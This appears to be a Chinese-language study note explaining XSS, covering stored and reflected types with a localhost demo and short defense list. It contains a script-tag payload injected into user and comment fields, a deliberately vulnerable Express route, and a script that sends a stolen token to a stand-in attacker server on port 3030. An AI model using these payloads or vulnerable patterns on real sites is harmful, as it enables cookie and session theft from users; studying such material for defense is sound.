XSS

参考资料

  1. 闲庭信步聊前端 - 漫谈XSS - 知乎 (zhihu.com)
  2. 什么是XSS 攻击 - 知乎 (zhihu.com)
  3. 黑客6小时带你上手web安全攻防、三种漏洞【XSS,CSRF和文件上传】彻底掌握常见web安全漏洞-持续更新中_哔哩哔哩_bilibili
  4. XSS的两种攻击方式及五种防御方式 - 知乎 (zhihu.com)
  5. 如何防止XSS攻击?_许文杰的博客-CSDN博客_如何防止xss攻击

是什么

跨站脚本(Cross Site Scripting)攻击,也称XSS攻击,为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS,XSS攻击可以获取用户在被攻击网站的信息如cookie,接着就可以利用该cookie去冒充用户本人,进而去进行一些涉及用户隐私的操作。

造成什么

  • 获取页面数据
  • 获取Cookies
  • 劫持前端逻辑
  • 发送请求到攻击者自己的网站实现资料的盗取
  • 偷取网站任意数据
  • 偷取用户密码和登陆状态
  • 改变按钮的逻辑

攻击类型

存储型 XSS

注入型脚本永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器上传回并执行。

具体做法是攻击者将具有恶意攻击代码的信息通过注册或者其他写入数据库的行为发送至后端,这时候被攻击网站如果没有做一些过滤操作,则会将该数据存入数据库中,接着攻击者将使用被攻击网站查询该脚本的url发送给其他该网站的用户,若其他用户误点了该url,则会被攻击者攻击窃取cookie、token等其他数据

  1. 如getCookie.js是一段获取当前用户cookie的脚本文件,攻击者在注册某网站或在某网站发表评论的时候,将<script src="http://localhost:3030/public/getCookie.js"></script>进行伪造用户注册或发表评论内容(该文件在攻击者自己服务器上)

    1
    2
    3
    "user": "<script src='http://localhost:3030/public/getCookie.js'></script>"

    "comment": "<script src='http://localhost:3030/public/getCookie.js'></script>"
  2. 数据库将该数据进行存储至数据库

  3. 假设是comment,当其他正常用户进入该评论有关的页面时,该脚本则会运行并窃取用户cookie

  4. 假设是user,若有一个用户展示页面需要将所有用户查出来并渲染,那么在该页面上就会被植入该恶意攻击代码,当某一登录的用户访问了用户展示界面,则被攻击

代码实现

假设访问的目标网站被黑客恶意存储了攻击脚本,3030端口的服务器是黑客的,3000端口是正常被访问的网站

1
2
3
4
5
6
7
app.get('/search', (req, res) => {
if (req.query.id == '123')
// 假设id为123是黑客有意存储的一段攻击脚本,脚本被当作用户名存储,如<script src="http://localhost:3030/public/getData.js"></script>
// 服务器查询后将该值发送至前端,这里直接省去数据库查询
return res.send('<script src="http://localhost:3030/public/getData.js"></script>');
res.send(req.query.id);
});

用户访问该查询链接

1
2
3
4
5
6
7
8
9
10
11
12
// 1.创建ajax对象
var xhr = new XMLHttpRequest();
// 2.告诉Ajax对象要向哪发送请求,以什么方式发送请求
// 1)请求方式 2)请求地址:必须以文件形式访问,否则会产生跨域问题
xhr.open('get', 'http://localhost:3000/search?id=123');
// 3.发送请求
xhr.send();
// 4.获取服务器端响应到客户端的数据(异步)
xhr.onload = function () {
let id = xhr.responseText;
p.innerHTML = p.innerHTML + id;
};

黑客服务器的getData脚本

1
2
3
4
5
6
7
8
9
10
11
// 1.创建ajax对象
var xhr = new XMLHttpRequest();
// 2.告诉Ajax对象要向哪发送请求,以什么方式发送请求
// 1)请求方式 2)请求地址:必须以文件形式访问,否则会产生跨域问题
xhr.open('get', 'http://localhost:3030/getData?token=' + token);
// 3.发送请求
xhr.send();
// 4.获取服务器端响应到客户端的数据(异步)
xhr.onload = function () {
console.log(xhr.responseText);
};

黑客拿到token

1
2
3
app.get('/getData', (req, res) => {
console.log(req.query.token);
});

3498fa884cb6bb2eb9487fee88560ce

反射型 XSS

当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。Web服务器将注入脚本,比如一个错误信息,搜索结果等 返回到用户的浏览器上。由于浏览器认为这个响应来自”可信任”的服务器,所以会执行这段脚本。

c669312849b43a8b10415366654af53

防御方式

通过输入输出两个方向入手,即后端接收数据进行相关操作,或者返回结果的时候进行一些过滤操作

  1. js转义

    如\对数据进行转义处理

  2. json

    直接将数据库读取的数据直接以json形式发送给前端,减少后端渲染,让前端渲染去吧

  3. 使用第三方库XSS防御

  4. 输入内容长度控制